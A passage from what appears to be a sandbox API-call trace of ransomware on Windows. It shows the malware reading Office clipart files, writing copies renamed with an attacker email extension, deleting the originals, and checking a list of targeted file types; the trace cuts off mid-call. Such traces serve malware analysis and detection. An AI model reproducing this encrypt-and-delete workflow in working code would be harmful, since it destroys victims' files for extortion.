GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cup.wmf")) returned 0x20 [0060.626] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cup.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0060.626] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cup.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0060.626] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0060.626] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0060.626] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cup.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0060.626] GetLastError () returned 0x0 [0060.627] ReadFile (in: hFile=0x254, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0xb96, lpOverlapped=0x0) returned 1 [0060.628] WriteFile (in: hFile=0x1c4, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xba0, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xba0, lpOverlapped=0x0) returned 1 [0060.629] ReadFile (in: hFile=0x254, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x0, lpOverlapped=0x0) returned 1 [0060.629] WriteFile (in: hFile=0x1c4, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xe2, lpOverlapped=0x0) returned 1 [0060.629] SetEndOfFile (hFile=0x1c4) returned 1 [0060.629] CloseHandle (hObject=0x1c4) returned 1 [0060.630] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0060.630] SetEndOfFile (hFile=0x254) returned 1 [0060.630] CloseHandle (hObject=0x254) returned 1 [0060.630] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0060.631] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cup.wmf")) returned 1 [0060.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF") returned 58 [0060.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF") returned 58 [0060.631] lstrlenW (lpString=".doc") returned 4 [0060.631] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0060.631] lstrlenW (lpString=".docx") returned 5 [0060.631] lstrcmpiW (lpString1=".docx", lpString2="P.WMF") returned -1 [0060.631] lstrlenW (lpString=".pdf") returned 4 [0060.631] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0060.631] lstrlenW (lpString=".xls") returned 4 [0060.631] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0060.631] lstrlenW (lpString=".xlsx") returned 5 [0060.631] lstrcmpiW (lpString1=".xlsx", lpString2="P.WMF") returned -1 [0060.631] lstrlenW (lpString=".ppt") returned 4 [0060.631] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0060.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF") returned 58 [0060.631] lstrlenW (lpString=".zip") returned 4 [0060.631] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0060.631] lstrlenW (lpString=".rar") returned 4 [0060.631] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0060.631] lstrlenW (lpString=".bz2") returned 4 [0060.631] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0060.631] lstrlenW (lpString=".7z") returned 3 [0060.631] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0060.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF") returned 58 [0060.631] lstrlenW (lpString=".dbf") returned 4 [0060.632] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0060.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF") returned 58 [0060.632] lstrlenW (lpString=".1cd") returned 4 [0060.632] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0060.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF") returned 58 [0060.632] lstrlenW (lpString=".jpg") returned 4 [0060.632] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0060.632] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x21fff1c | out: lpFileSize=0x21fff1c*=10326) returned 1 [0060.632] CloseHandle (hObject=0x254) returned 1 [0060.632] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cupinst.wmf")) returned 0x20 [0060.633] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cupinst.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0060.633] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cupinst.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0060.633] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0060.633] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0060.633] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cupinst.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0060.633] GetLastError () returned 0x0 [0060.633] ReadFile (in: hFile=0x254, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x2856, lpOverlapped=0x0) returned 1 [0060.635] WriteFile (in: hFile=0x1c4, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0x2860, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0x2860, lpOverlapped=0x0) returned 1 [0060.636] ReadFile (in: hFile=0x254, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x0, lpOverlapped=0x0) returned 1 [0060.636] WriteFile (in: hFile=0x1c4, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xea, lpOverlapped=0x0) returned 1 [0060.636] SetEndOfFile (hFile=0x1c4) returned 1 [0060.636] CloseHandle (hObject=0x1c4) returned 1 [0060.636] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0060.636] SetEndOfFile (hFile=0x254) returned 1 [0060.637] CloseHandle (hObject=0x254) returned 1 [0060.637] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0060.637] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cupinst.wmf")) returned 1 [0060.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 62 [0060.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 62 [0060.637] lstrlenW (lpString=".doc") returned 4 [0060.637] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0060.637] lstrlenW (lpString=".docx") returned 5 [0060.637] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0060.637] lstrlenW (lpString=".pdf") returned 4 [0060.637] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0060.638] lstrlenW (lpString=".xls") returned 4 [0060.638] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0060.638] lstrlenW (lpString=".xlsx") returned 5 [0060.638] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0060.638] lstrlenW (lpString=".ppt") returned 4 [0060.638] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0060.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 62 [0060.638] lstrlenW (lpString=".zip") returned 4 [0060.638] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0060.638] lstrlenW (lpString=".rar") returned 4 [0060.638] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0060.638] lstrlenW (lpString=".bz2") returned 4 [0060.638] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0060.638] lstrlenW (lpString=".7z") returned 3 [0060.638] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0060.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 62 [0060.638] lstrlenW (lpString=".dbf") returned 4 [0060.638] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0060.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 62 [0060.638] lstrlenW (lpString=".1cd") returned 4 [0060.638] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0060.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 62 [0060.638] lstrlenW (lpString=".jpg") returned 4 [0060.638] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0060.639] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x21fff1c | out: lpFileSize=0x21fff1c*=31122) returned 1 [0060.639] CloseHandle (hObject=0x254) returned 1 [0060.639] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00117_.wmf")) returned 0x20 [0060.639] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00117_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0060.639] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00117_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0060.639] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0060.639] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0060.639] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00117_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0060.640] GetLastError () returned 0x0 [0060.640] ReadFile (in: hFile=0x254, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x7992, lpOverlapped=0x0) returned 1 [0060.642] WriteFile (in: hFile=0x1c4, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0x79a0, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0x79a0, lpOverlapped=0x0) returned 1 [0060.643] ReadFile (in: hFile=0x254, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x0, lpOverlapped=0x0) returned 1 [0060.643] WriteFile (in: hFile=0x1c4, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0060.643] SetEndOfFile (hFile=0x1c4) returned 1 [0060.643] CloseHandle (hObject=0x1c4) returned 1 [0060.643] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0060.643] SetEndOfFile (hFile=0x254) returned 1 [0060.644] CloseHandle (hObject=0x254) returned 1 [0060.644] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0060.644] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00117_.wmf")) returned 1 [0060.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 63 [0060.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 63 [0060.645] lstrlenW (lpString=".doc") returned 4 [0060.645] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0060.645] lstrlenW (lpString=".docx") returned 5 [0060.645] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0060.645] lstrlenW (lpString=".pdf") returned 4 [0060.645] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0060.645] lstrlenW (lpString=".xls") returned 4 [0060.645] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0060.645] lstrlenW (lpString=".xlsx") returned 5 [0060.645] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0060.645] lstrlenW (lpString=".ppt") returned 4 [0060.645] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0060.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 63 [0060.645] lstrlenW (lpString=".zip") returned 4 [0060.645] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0060.645] lstrlenW (lpString=".rar") returned 4 [0060.645] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0060.645] lstrlenW (lpString=".bz2") returned 4 [0060.645] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0060.645] lstrlenW (lpString=".7z") returned 3 [0060.645] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0060.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 63 [0060.645] lstrlenW (lpString=".dbf") returned 4 [0060.645] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0060.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 63 [0060.645] lstrlenW (lpString=".1cd") returned 4 [0060.645] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0060.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 63 [0060.645] lstrlenW (lpString=".jpg") returned 4 [0060.646] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.302] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x21fff1c | out: lpFileSize=0x21fff1c*=8256) returned 1 [0061.309] CloseHandle (hObject=0x164) returned 1 [0061.321] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00121_.wmf")) returned 0x20 [0061.322] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00121_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0061.322] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00121_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0061.322] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0061.328] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0061.328] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00121_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0061.347] GetLastError () returned 0x0 [0061.347] ReadFile (in: hFile=0x164, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x2040, lpOverlapped=0x0) returned 1 [0061.349] WriteFile (in: hFile=0x160, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0x2050, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0x2050, lpOverlapped=0x0) returned 1 [0061.350] ReadFile (in: hFile=0x164, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x0, lpOverlapped=0x0) returned 1 [0061.350] WriteFile (in: hFile=0x160, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0061.350] SetEndOfFile (hFile=0x160) returned 1 [0061.350] CloseHandle (hObject=0x160) returned 1 [0061.350] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0061.350] SetEndOfFile (hFile=0x164) returned 1 [0061.351] CloseHandle (hObject=0x164) returned 1 [0061.351] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0061.351] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00121_.wmf")) returned 1 [0061.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 63 [0061.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 63 [0061.352] lstrlenW (lpString=".doc") returned 4 [0061.352] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.352] lstrlenW (lpString=".docx") returned 5 [0061.352] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.352] lstrlenW (lpString=".pdf") returned 4 [0061.352] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.352] lstrlenW (lpString=".xls") returned 4 [0061.352] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.352] lstrlenW (lpString=".xlsx") returned 5 [0061.352] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.352] lstrlenW (lpString=".ppt") returned 4 [0061.352] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 63 [0061.352] lstrlenW (lpString=".zip") returned 4 [0061.352] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.352] lstrlenW (lpString=".rar") returned 4 [0061.352] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.352] lstrlenW (lpString=".bz2") returned 4 [0061.352] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.352] lstrlenW (lpString=".7z") returned 3 [0061.352] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 63 [0061.352] lstrlenW (lpString=".dbf") returned 4 [0061.352] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 63 [0061.352] lstrlenW (lpString=".1cd") returned 4 [0061.352] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 63 [0061.352] lstrlenW (lpString=".jpg") returned 4 [0061.353] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.353] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x21fff1c | out: lpFileSize=0x21fff1c*=3632) returned 1 [0061.353] CloseHandle (hObject=0x164) returned 1 [0061.353] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01139_.wmf")) returned 0x20 [0061.354] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01139_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0061.354] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01139_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0061.354] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0061.354] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0061.354] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01139_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0061.354] GetLastError () returned 0x0 [0061.354] ReadFile (in: hFile=0x164, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0xe30, lpOverlapped=0x0) returned 1 [0061.356] WriteFile (in: hFile=0x160, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xe40, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xe40, lpOverlapped=0x0) returned 1 [0061.356] ReadFile (in: hFile=0x164, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x0, lpOverlapped=0x0) returned 1 [0061.357] WriteFile (in: hFile=0x160, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0061.357] SetEndOfFile (hFile=0x160) returned 1 [0061.357] CloseHandle (hObject=0x160) returned 1 [0061.357] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0061.357] SetEndOfFile (hFile=0x164) returned 1 [0061.358] CloseHandle (hObject=0x164) returned 1 [0061.358] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 